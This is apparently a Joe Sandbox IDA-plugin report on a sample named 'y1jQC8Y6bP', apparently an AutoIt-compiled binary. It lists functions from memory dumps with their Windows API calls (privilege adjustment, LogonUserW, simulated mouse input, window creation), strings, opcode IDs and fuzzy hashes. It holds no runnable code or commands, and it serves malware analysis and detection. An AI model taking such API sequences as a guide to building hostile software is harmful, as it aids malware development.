Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: f9db915a523e804da55ab21ad82c0af011b947397f145b7e3fa80f69ead80b58
Instruction ID: 4be44b70aa93ad3dc3160e7b504ec5440795dc0d6c8f90995432553a9768eb01
Opcode Fuzzy Hash: f9db915a523e804da55ab21ad82c0af011b947397f145b7e3fa80f69ead80b58
Instruction Fuzzy Hash: C9F0823510522EABDB219FA4DC4CFEA7B6DFF09361F008166F919D7181DA309A40CBA2

Function 005E81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005E8309), ref: 005E81E0
CloseHandle.KERNEL32(?,?,005E8309), ref: 005E81F2

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 18329144888dbfb88fd539b229a62d76f3b779063953ab21421fcf38d589aa6f
Instruction ID: 0cde0a485e639f4c38fc3ec8b377c96473cb2d3cb1fee05e2ceb3509ebbdc12d
Opcode Fuzzy Hash: 18329144888dbfb88fd539b229a62d76f3b779063953ab21421fcf38d589aa6f
Instruction Fuzzy Hash: 53E08C32010611AFE7252B20EC08DB37BEEFF04350714D82EF8AA80470CB22AC90DB10

Function 005BA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,005B8D57,?,?,?,00000001), ref: 005BA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 005BA163

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2efaeceb6d7ebf95cec6e830307413750bfda63b363bd5c621a52c824b9b190f
Instruction ID: cc21412afa1ed07b1f5629bd096a8c305322c6b5bfc9841ebf7b8c6b6cdd7024
Opcode Fuzzy Hash: 2efaeceb6d7ebf95cec6e830307413750bfda63b363bd5c621a52c824b9b190f
Instruction Fuzzy Hash: 42B09231054208EBCB002B91EC09BC83F6AFB44BA2F449022F61D84060CF6254508AD1

Function 005BF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cfa7fa693571c82e3672922532c5afeba09d51e348323a82ee3b24e7918e9e7
Instruction ID: f35e49f9f185922e4c747c3bca45590998a01da1b53b33a1198c618c2627252e
Opcode Fuzzy Hash: 6cfa7fa693571c82e3672922532c5afeba09d51e348323a82ee3b24e7918e9e7
Instruction Fuzzy Hash: F832E122D29F414DD7239A38DC32375A649AFB73C5F15E737F81AB59A6EB28D4834200

Function 005C242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfecd435b8cc36c1ad98c1dfb29f8d69059d22a541526f5cf57e9f567fef6443
Instruction ID: df7658f93d8059479d2f93d9d5ae9cfc60c343e4e3b49fa1204c991c70fa43ea
Opcode Fuzzy Hash: cfecd435b8cc36c1ad98c1dfb29f8d69059d22a541526f5cf57e9f567fef6443
Instruction Fuzzy Hash: 46B1F230E2AF414ED323A6798831336BA9DAFBB2D5F51E71BFC1674D22EB6185834141

Function 005F4C53 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 005F4C76

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: fb1d314d0154af591bd78f0045e70a4b2c621436420b34882985dd6095e4f436
Instruction ID: 3b551839500a915dfab409279ce5be79035ff932ad4f06f32842666382b18bdb
Opcode Fuzzy Hash: fb1d314d0154af591bd78f0045e70a4b2c621436420b34882985dd6095e4f436
Instruction Fuzzy Hash: 31D09EA416261D79EF2847209D5FFBB190AF3C0791F94F54A7349951C1E8DC5C40A835

Function 005E87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,005E8389), ref: 005E87D1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 75dbe941694af597416d5f72a0f8d0bf64ca875b691062aea7928867600be888
Instruction ID: fc01959530a148c1acac2c0347bb1c1eb3b2f9016e17fb401bde7623e7f1e816
Opcode Fuzzy Hash: 75dbe941694af597416d5f72a0f8d0bf64ca875b691062aea7928867600be888
Instruction Fuzzy Hash: EAD05E3226050EABEF018FA4DC01EEE3B6AEB04B01F408111FE15C50A1C775D835AB60

Function 005BA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 005BA12A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bbd176fb84bdcebd5eea84c80183127d71c72ff25e742810f6081d3b5f032793
Instruction ID: 8b04e7a79d5e1028fc9f1faaffe507599f7d62edd78d80737d6466d87a7adb86
Opcode Fuzzy Hash: bbd176fb84bdcebd5eea84c80183127d71c72ff25e742810f6081d3b5f032793
Instruction Fuzzy Hash: 1EA0113000020CAB8B002B82EC08888BFAEEA003A0B008022F80C80022CF32A8208AC0

Function 005A8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837daf5e430a7b0704b562201d3b0ea76dc1c72f66d7eced146e555db0005748
Instruction ID: e3f352ae6de749a5308d5b40b75272ef42d387bbf4fdd4a9eb938e55248e8a89
Opcode Fuzzy Hash: 837daf5e430a7b0704b562201d3b0ea76dc1c72f66d7eced146e555db0005748
Instruction Fuzzy Hash: 78223530A04586CBDF3C8B25C49477DBFA1FF42358F28886AD9968B592EB709D91CB41

Function 005B21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: bf498b1ba1f0fc99e2065945af9e2996f094e05dc199573cefa1f4b3cb5a1e65
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 93C1A5362054930EDF6D463984740BEFEA17EA27B176A076DD8B3CF4D4EE20E925D620

Function 005B25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: dccb3f7ab23c91a68c8aaafbbf27f062762c8e99afcb0192b68b57b01f6014ff
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 1DC1A5322155930EDF6D463AC4340BEBFA17EA27B176A076DD4B3DB0D4EE20E925D620

Function 005B1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 2f55d4e1e8876af504f4bc19eb07603d9907d9ef5d4176c0ffa901f343dde980
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: E9C192322159930DDFAD4639C4340BEBFA17EA27B139A076DD4B3CB1C4EE20E925D664

Function 011C3640 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: f408c3f10665666837f085fc0da9f670fdce5b8891fe2354185c143133b62e9c
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 8141D371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB80

Function 011C3530 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 76e411b511120d29c3791ffd0d392224aabc313f30922e882cd3b16cd88363dc
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 93019D78A14209EFCB49DF98C5909AEF7B5FB58710F208699E819A7741E730AE41DB80

Function 011C34D0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 470b1c2f26ab81b973034440915f76d6dd4e50d1fbd23ff87d86d94e2f0e626e
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: 43019D78A14209EFCB48DF98C5909AEF7B5FB58710F208699E819A7741E730EE41DB80

Function 011C1E70 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1256117968.00000000011C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00607806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0060785B
DeleteObject.GDI32(00000000), ref: 0060786D
DestroyWindow.USER32 ref: 0060787B
GetDesktopWindow.USER32 ref: 00607895
GetWindowRect.USER32(00000000), ref: 0060789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 006079DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 006079ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607A35
GetClientRect.USER32(00000000,?), ref: 00607A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00607A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607ABB
GlobalLock.KERNEL32(00000000), ref: 00607AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607AD3
GlobalUnlock.KERNEL32(00000000), ref: 00607ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607AE3
GlobalFree.KERNEL32(00000000), ref: 00607AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00622CAC,00000000), ref: 00607B16
GlobalFree.KERNEL32(00000000), ref: 00607B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00607B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00607B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00607D7A

Strings

DISPLAY, xrefs: 00607BDD
static, xrefs: 00607A75, 00607BCC
, xrefs: 00607D00
AutoIt v3, xrefs: 00607A2D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: ecc490969ffc0d26c68f14949b1b8f3ecf2efc8ea4e8e19b35c3d7d3bccec884
Instruction ID: 58bff3a150b97ed5c9d4b4c240d0e6df5332defdd41d69100d2189fd13e7b106
Opcode Fuzzy Hash: ecc490969ffc0d26c68f14949b1b8f3ecf2efc8ea4e8e19b35c3d7d3bccec884
Instruction Fuzzy Hash: EC024C71900215EFDB14DFA8DC89EAE7BBAFF48310F148159F915AB2A1CB74AD01CB60

Function 0061356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0061F910), ref: 00613627
IsWindowVisible.USER32(?), ref: 0061364B

Strings

GETLINE, xrefs: 0061399B
CURRENTTAB, xrefs: 006136BD
DELSTRING, xrefs: 00613749
HIDEDROPDOWN, xrefs: 00613700
GETCURRENTLINE, xrefs: 006138ED
ISVISIBLE, xrefs: 00613637
CHECK, xrefs: 0061386D
UNCHECK, xrefs: 00613883
ADDSTRING, xrefs: 00613716
SETCURRENTSELECTION, xrefs: 006137B6
GETLINECOUNT, xrefs: 006138C6
SELECTSTRING, xrefs: 00613806
ISCHECKED, xrefs: 00613839
EDITPASTE, xrefs: 0061395F
TABRIGHT, xrefs: 0061369D
ISENABLED, xrefs: 0061366B
TABLEFT, xrefs: 00613687
SENDCOMMANDID, xrefs: 006139DA
SHOWDROPDOWN, xrefs: 006136E0
GETSELECTED, xrefs: 006138A3
GETCURRENTCOL, xrefs: 00613928
FINDSTRING, xrefs: 00613776
GETCURRENTSELECTION, xrefs: 006137E3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 3cbcf6dcdc94a5cd2bcac4f67fbdc3ab709754d343b91868b4a172a9948363bf
Instruction ID: 89dc2e859a3f8911ba1779ca09d216caccc3dd4566e1729140ee777c06575f53
Opcode Fuzzy Hash: 3cbcf6dcdc94a5cd2bcac4f67fbdc3ab709754d343b91868b4a172a9948363bf
Instruction Fuzzy Hash: 3CD132702043129BCB04EF14C459AEE7FA7BF95354F194858F8865B3E2DB21EE4ACB91

Function 0061A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0061A630
GetSysColorBrush.USER32(0000000F), ref: 0061A661
GetSysColor.USER32(0000000F), ref: 0061A66D
SetBkColor.GDI32(?,000000FF), ref: 0061A687
SelectObject.GDI32(?,00000000), ref: 0061A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0061A6C1
GetSysColor.USER32(00000010), ref: 0061A6C9
CreateSolidBrush.GDI32(00000000), ref: 0061A6D0
FrameRect.USER32(?,?,00000000), ref: 0061A6DF
DeleteObject.GDI32(00000000), ref: 0061A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0061A731
FillRect.USER32(?,?,00000000), ref: 0061A763
GetWindowLongW.USER32(?,000000F0), ref: 0061A78E

Part of subcall function 0061A8CA: GetSysColor.USER32(00000012), ref: 0061A903
Part of subcall function 0061A8CA: SetTextColor.GDI32(?,?), ref: 0061A907
Part of subcall function 0061A8CA: GetSysColorBrush.USER32(0000000F), ref: 0061A91D
Part of subcall function 0061A8CA: GetSysColor.USER32(0000000F), ref: 0061A928
Part of subcall function 0061A8CA: GetSysColor.USER32(00000011), ref: 0061A945
Part of subcall function 0061A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0061A953
Part of subcall function 0061A8CA: SelectObject.GDI32(?,00000000), ref: 0061A964
Part of subcall function 0061A8CA: SetBkColor.GDI32(?,00000000), ref: 0061A96D
Part of subcall function 0061A8CA: SelectObject.GDI32(?,?), ref: 0061A97A
Part of subcall function 0061A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0061A999
Part of subcall function 0061A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0061A9B0
Part of subcall function 0061A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0061A9C5
Part of subcall function 0061A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0061A9ED

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: bb909979e6a9cfd69160863b1d4b99b0948e5cfbae0d5f2e4668ad2cf1e48a9c
Instruction ID: 35a94389c0c3fff4592fde2c2dcb8e76b736caec72445b6cd1378b79020be042
Opcode Fuzzy Hash: bb909979e6a9cfd69160863b1d4b99b0948e5cfbae0d5f2e4668ad2cf1e48a9c
Instruction Fuzzy Hash: 1B916E71009301FFC710DFA4DC08A9B7BABFB89321F185A2AF966961E1D731D945CB52

